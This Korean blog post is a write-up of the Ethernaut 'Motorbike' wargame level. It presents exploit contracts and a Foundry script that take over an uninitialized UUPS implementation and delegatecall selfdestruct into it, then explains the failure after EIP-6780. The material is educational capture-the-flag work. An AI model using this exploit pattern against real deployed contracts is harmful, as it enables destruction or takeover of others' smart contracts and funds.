티스토리 뷰

Solidity/Hacking

[Ethernaut] 25. Motorbike

piatoss 2024. 2. 23. 12:47

1. 문제

 

The Ethernaut

The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

ethernaut.openzeppelin.com

Ethernaut's motorbike has a brand new upgradeable engine design.

Would you be able to selfdestruct its engine and make the motorbike unusable ?

Things that might help:

EIP-1967

UUPS upgradeable pattern

Initializable contract

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    struct AddressSlot {
        address value;
    }
    
    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

2. 풀이

 EIP-1967이니 upgradable 패턴이니 생소한 개념들 뿐이지만, 코드를 차근차근 읽어보면 문제의 실마리가 보입니다. 맥락상 Motorbike 컨트랙트의 상태 변수에 Engine 컨트랙트의 주소가 저장되어 있는 것 같습니다. 그리고 이 Engine을 박살내서 Motorbike가 정상적으로 동작하기 못하게 만드는 것이 오늘의 임무입니다.

Motorbike 컨트랙트

 우선은 Motorbike의 생성자 함수를 살펴보겠습니다.

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
    require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
    _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
    (bool success,) = _logic.delegatecall(
        abi.encodeWithSignature("initialize()")
    );
    require(success, "Call failed");
}

 파라미터로 받은 _logic 주소가 Engine 컨트랙트의 주소임을 알 수 있습니다. 만약 _logic이 CA가 아니고 EOA라면 컨트랙트 생성이 revert 됩니다.

require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");

 그리고 _getAddressSlot 내부 함수를 호출하여 반환되는 값의 value 필드에 _logic 주소를 저장합니다.

_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;

 지금은 이 값이 왜 이렇게 정의되었는지는 불분명하지만, _logic 주소가 저장되는 스토리지 슬롯을 나타내는 것은 분명합니다.

bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

 _getAddressSlot 함수는 스토리지 슬롯 번호 slot을 받아서 반환되는 스토리지 변수 r에 slot을 할당합니다. 코드를 분석하는 과정에서 처음에는 'r_slot'이 무슨 의미인지 의아했습니다. 최신 버전에서는 '.' 연산자를 사용해 'r.slot'과 같이 사용을 하게 되어있는데, 이 부분은 solidity 버전 차이로 인해 문법이 다른 것이라고 이해하면 될 것 같습니다.

 

function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
    assembly {
        r_slot := slot
    }
}

 스토리지 변수 r의 타입이 구조체라고는 하나, address 타입의 value라는 필드 하나만을 가지고 있기 때문에 하나의 슬롯만 사용합니다.  그렇다면 _IMPLEMENTATION_SLOT에 실제로 주소값이 저장되어 있을까요? foundry cast cli를 사용해 다음과 같이 확인해 봤습니다. Engine 구현체의 주소가 저장되어 있네요!

$ cast storage 0x198978648BBa764aD4597ba87c7DAC7027FB506A 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc --rpc-url sepolia
0x000000000000000000000000ccc218d86d5224db3deff70fe3076bacecf8f12b

 다시 생성자로 돌아와서, _logic을 스토리지에 저장하고 난 뒤 _logic을 대상으로 delegatecall을 호출합니다. 이때 호출하는 함수는 initialize 함수입니다. 호출된 함수는 호출자의 콘텍스트에서 실행되므로 Motorbike 컨트랙트의 스토리지를 변경하게 됩니다.

(bool success,) = _logic.delegatecall(
    abi.encodeWithSignature("initialize()")
);

 Motorbike 컨트랙트의 initialize 함수는 다음과 같습니다. 스토리지의 0번 슬롯과 1번 슬롯의 값을 변경합니다.

address public upgrader; // slot[0]
uint256 public horsePower; // slot[1]

function initialize() external initializer {
    horsePower = 1000;
    upgrader = msg.sender;
}

 foundry cast cli를 사용해 다음과 같이 확인해 봤습니다. 1번 슬롯에는 1000(3e8)이 저장되어 있는데 0번 슬롯에는 주소 20바이트 + 알 수 없는 2바이트 0001이 함께 저장되어 있습니다. 해당 2바이트는 Engine 컨트랙트가 상속한 Initializerble 컨트랙트에 컨트랙트 초기화 여부를 확인하기 위해 선언된 두 개의 불리언 값입니다. 20 + 1 + 1은 32바이트를 넘지 않기 때문에 0번 슬롯에 함께 저장된 것입니다.

$ cast storage 0x198978648BBa764aD4597ba87c7DAC7027FB506A 0 --rpc-url sepolia
0x000000000000000000003a78ee8462bd2e31133de2b8f1f9cbd973d6edd60001
$ cast storage 0x198978648BBa764aD4597ba87c7DAC7027FB506A 1 --rpc-url sepolia
0x00000000000000000000000000000000000000000000000000000000000003e8

 Motorbike 컨트랙트가 생성되고 나서부터는 delegatecall을 사용해 Engine 컨트랙트를 자신의 콘텍스트에서 실행합니다. 말 그대로 Motorbike는 프록싱과 스토리지 역할이고 Engine 컨트랙트가 핵심 로직을 구현한 것이라고 보면 될 것 같습니다.

function _delegate(address implementation) internal virtual {
    assembly {
        calldatacopy(0, 0, calldatasize())
        let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
        returndatacopy(0, 0, returndatasize())
        switch result
        case 0 { revert(0, returndatasize()) }
        default { return(0, returndatasize()) }
    }
}

fallback () external payable virtual {
    _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

Engine 컨트랙트

 앞서 살펴본 바에 따르면 Engine 컨트랙트의 주소는 0xCcc218D86d5224Db3DeFf70Fe3076BacECf8F12B입니다. Engine 컨트랙트의 스토리지에는 어떤 값이 저장되어 있을까요?

$ cast storage 0xCcc218D86d5224Db3DeFf70Fe3076BacECf8F12B 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc --rpc-url sepolia
0x0000000000000000000000000000000000000000000000000000000000000000
$ cast storage 0xCcc218D86d5224Db3DeFf70Fe3076BacECf8F12B 0 --rpc-url sepolia
0x0000000000000000000000000000000000000000000000000000000000000000
$ cast storage 0xCcc218D86d5224Db3DeFf70Fe3076BacECf8F12B 1 --rpc-url sepolia
0x0000000000000000000000000000000000000000000000000000000000000000

 어떠한 값도 저장되어 있지 않습니다! 그 이유는 짐작하신 대로 Motorbike 컨트랙트에서 delegatecall을 사용해 자신의 콘텍스트를 사용해 컨트랙트를 초기화했기 때문입니다.

 

Engine 컨트랙트는 초기화가 아직 진행되지 않았으므로 Initializable 컨트랙트의 initialized와 initializing 값은 모두 false입니다.

modifier initializer() {
    require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");

    bool isTopLevelCall = !initializing;
    if (isTopLevelCall) {
      initializing = true;
      initialized = true;
    }

    _;

    if (isTopLevelCall) {
      initializing = false;
    }
  }

 따라서 Engine 컨트랙트의 initialize 함수를 호출하여 upgrader를 msg.sender로 변경할 수 있습니다.

function initialize() external initializer {
    horsePower = 1000;
    upgrader = msg.sender;
}

 upgrader를 변경하고 나면 msg.sender는 upgradeToAndCall 함수를 호출할 수 있는 권한을 가지게 됩니다. upgradeToAndCall 함수가 호출되면 _authorizeUpgrade 내부 함수를 호출해 msg.sender의 역할을 확인하고 _upgradeToAndCall 내부 함수를 호출합니다.

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
    _authorizeUpgrade();
    _upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
    require(msg.sender == upgrader, "Can't upgrade");
}

_upgradeToAndCall 내부 함수는 _setImplementation 함수를 호출하여 자신의 콘텍스트에서 newImplementation 주소를 스토리지에 저장하고 파라미터 data의 길이가 0보다 클 경우 newImplementation을 대상으로 data를 사용해 delegatecall을 실행합니다. 이 부분에서 delegatecall로 호출된 컨트랙트가 selfdestruct를 실행하면 어떻게 될까요? Engine 컨트랙트의 콘텍스트에서 실행된 selfdestruct는 Engine 컨트랙트를 파괴할 것입니다. 그리고 파괴된 Engine 컨트랙트는 Motorbike 컨트랙트의 핵심 로직을 담당하고 있기 때문에 Motorbike까지 망가지게 됩니다. 답이 나왔습니다. 정리를 해보죠.

function _upgradeToAndCall(
    address newImplementation,
    bytes memory data
) internal {
    // Initial upgrade and setup call
    _setImplementation(newImplementation);
    if (data.length > 0) {
        (bool success,) = newImplementation.delegatecall(data);
        require(success, "Call failed");
    }
}

function _setImplementation(address newImplementation) private {
    require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
    
    AddressSlot storage r;
    assembly {
        r_slot := _IMPLEMENTATION_SLOT
    }
    r.value = newImplementation;
}

정리

 다음과 같이 공격을 위한 컨트랙트를 작성합니다.

contract DestroyEngine {
    function destroy(address engine) external {
        IEngine engineInstance = IEngine(engine);
        engineInstance.initialize();
        engineInstance.upgradeToAndCall(address(this), abi.encodePacked("destory engine!"));
    }

    fallback() external payable {
        selfdestruct(payable(address(0x0)));
    }

    receive() external payable {
        selfdestruct(payable(address(0x0)));
    }
}

 공격 과정은 다음과 같습니다.

  1. DestoryEngine 컨트랙트를 배포합니다.
  2. Engine 컨트랙트의 주소를 인수로 사용하여 DestoryEngine 컨트랙트의 destroy 함수를 호출합니다.
  3. DestoryEngine 컨트랙트가 Engine 컨트랙트의 initialize 함수를 호출함으로써 upgrader가 됩니다.
  4. Engine 컨트랙트의 upgradeToAndCall 함수를 호출합니다. 이때 delegatecall 대상으로 DestoryEngine 컨트랙트 자기 자신의 주소를 넣고,  DestoryEngine 컨트랙트의 fallback 함수가 호출되도록 data로는 DestoryEngine 컨트랙트의 어떤 함수 호출과도 매칭되지 않는 임의의 바이트열을 넣어줍니다.
  5. 여차저차해서 Engine 컨트랙트는 DestoryEngine 컨트랙트를 대상으로 delegatecall을 호출합니다.
  6. DestoryEngine 컨트랙트의 fallback 함수가 실행되면서 Engine 컨트랙트는 자신의 콘텍스트에서 selfdestruct를 실행하게 되고, 그렇게 Engine 컨트랙트는 작렬하게 전사합니다.

 저는 foundry를 사용해 스크립트를 작성하고 실행하였습니다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import  "../src/25.Motorbike.sol";

contract DestroyEngineScript is Script {
    function setUp() public {}

    function run() public {
        uint256 privateKey = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(privateKey);

        // address motorbike =0x198978648BBa764aD4597ba87c7DAC7027FB506A;
        address engine = 0xCcc218D86d5224Db3DeFf70Fe3076BacECf8F12B;

        // attack
        DestroyEngine destroyEngine = new DestroyEngine();
        destroyEngine.destroy(engine);

        vm.stopBroadcast();
    }
}
$ forge script script/25.Motorbike.s.sol --rpc-url sepolia --broadcast -vvvv
...
## Setting up 1 EVM.
==========================
Simulated On-chain Traces:

  [103153] → new DestroyEngine@0x05fE26E7c8A7D3Dc29434c46Cae8B2F0dF221409
    └─ ← 547 bytes of code

  [80509] DestroyEngine::destroy(0xCcc218D86d5224Db3DeFf70Fe3076BacECf8F12B)
    ├─ [45484] 0xCcc218D86d5224Db3DeFf70Fe3076BacECf8F12B::initialize()
    │   └─ ← ()
    ├─ [31177] 0xCcc218D86d5224Db3DeFf70Fe3076BacECf8F12B::upgradeToAndCall(DestroyEngine: [0x05fE26E7c8A7D3Dc29434c46Cae8B2F0dF221409], 0x646573746f727920656e67696e6521)
    │   ├─ [7676] DestroyEngine::64657374(6f727920656e67696e6521) [delegatecall]
    │   │   └─ ← ()
    │   └─ ← ()
    └─ ← ()
...

 스크립트를 실행하고 이더스캔을 통해 컨트랙트가 정상적으로 파괴된 것을 확인할 수 있습니다.

 

Contract Address 0xCcc218D86d5224Db3DeFf70Fe3076BacECf8F12B | Etherscan

The Contract Address 0xCcc218D86d5224Db3DeFf70Fe3076BacECf8F12B page allows users to view the source code, transactions, balances, and analytics for the contract address. Users can also interact and make transactions to the contract directly on Etherscan.

sepolia.etherscan.io

 

 그리고 제출을...

아니, selfdestruct 하라면서요. 왜 이러지?

재시도

 fallback 함수 대신 제대로 된(?) 함수를 호출하는 방식으로 변경했습니다. 별다른 차이는 없습니다.

contract DestroyEngine {
    function destroy(address engine) external {
        IEngine engineInstance = IEngine(engine);
        engineInstance.initialize();
        engineInstance.upgradeToAndCall(address(this), abi.encodeWithSelector(this.damn.selector));
    }

    function damn() external {
        selfdestruct(payable(msg.sender));
    }
}

 새로운 Egine 컨트랙트의 주소를 알아내고...

$ cast storage 0x451CdAf0f145401984c38a5D2Cb73d5b43CeDADF 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc --rpc-url sepolia
0x000000000000000000000000a4b22afe9690bc5abb90f6d7d9b94f7516b13c19

 스크립트를 수정하고 실행...

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import  "../src/25.Motorbike.sol";

contract DestroyEngineScript is Script {
    function setUp() public {}

    function run() public {
        uint256 privateKey = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(privateKey);

        // address motorbike =0x451CdAf0f145401984c38a5D2Cb73d5b43CeDADF;
        address engine = 0xa4b22Afe9690bc5AbB90f6D7D9B94F7516B13c19;

        // attack
        DestroyEngine destroyEngine = new DestroyEngine();
        destroyEngine.destroy(engine);

        vm.stopBroadcast();
    }
}
$ forge script script/25.Motorbike.s.sol --rpc-url sepolia --broadcast -vvvv

 selftdestruct 확인...

재제출...

진상 파악

 

Challenge "Motorbike" currently not working · Issue #701 · OpenZeppelin/ethernaut

I'm opening this issue to report that the "Motorbike" challenge is currently not functioning properly, at least on the Sepolia network. I solved it approximately a year ago while playing on the Goe...

github.com

 이미 2주 전에 이 문제를 파악한 저와 비슷한 스마트 가이가 있었습니다.

 

 2024년 1월 30일 화요일 22:51 UTC를 기준으로 Sepolia 테스트넷에 덴쿤 업그레이드가 적용되었습니다. 여기서 이 문제와 직접적으로 연관되어 있는 업그레이드 내용은 EIP-6780입니다.

 

EIP-6780: SELFDESTRUCT only in same transaction

SELFDESTRUCT will recover all funds to the target but not delete the account, except when called in the same transaction as creation

eips.ethereum.org

 EIP-6780은 SELFDESTRUCT opcode의 동작을 다음과 같이 변경했습니다.

  1. 이전에는 SELFDESTRUCT가 실행되면 target으로 명시된 대상에게 컨트랙트의 모든 이더를 전송하고 모든 데이터를 삭제했지만, 이제는 이더만 전송하고 데이터는 삭제되지 않습니다.
  2. 다만, 컨트랙트를 생성하는 트랜잭션에서 실행된 SELFDESTRUCT는 이전과 동일하게 동작합니다.

즉, 이전에는 selfdestruct를 호출하면 다음과 같이 컨트랙트의 런타임 바이트코드가 제거되어 어떤 데이터도 남아있지 않은 상태가 되었습니다.

 

 그러나 덴쿤 업데이트가 적용되면서 컨트랙트를 생성하는 트랜잭션에서 실행된 selfdestruct가 아닌 경우에는 데이터가 삭제되지 않으므로 다음과 같이 런타임 바이트코드가 남아있게 됩니다.

그리고 이렇게 런타임 바이트코드가 남아있는 상태에서 런타임 바이트코드가 0인지 아닌지로 문제 해결 여부를 판별하게 되면 당연히 틀렸다는 결과가 나올 수밖에 없는 것입니다.

function validateInstance(address payable _instance, address _player) public override returns (bool) {
  _player;
  return !Address.isContract(engines[_instance]);
}
function isContract(address account) internal view returns (bool) {
    // This method relies on extcodesize/address.code.length, which returns 0
    // for contracts in construction, since the code is only stored at the end
    // of the constructor execution.

    return account.code.length > 0;
}
프로토콜 업그레이드로 인해 문제 해결 불가! 여기서 마무리하도록 하겠습니다.

 

비고:

문제를 억지로 푸는 방법이 하나 있긴 합니다. EIP-6780에 따라 변경된 동작을 다시 살펴보면, Engine 컨트랙트를 생성하는 트랜잭션에서 selfdestruct를 호출하면 Engine 컨트랙트를 파괴할 수 있다는 것을 알 수 있습니다. 이를 가능케 하려면 Ethernaut의 컨트랙트를 직접 조작하여 인스턴스 생성, 문제 풀이 그리고 제출을 하나의 트랜잭션으로 처리해야 합니다. 이 방법은 다음 링크를 참고하시면 좋을 것 같네요.
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함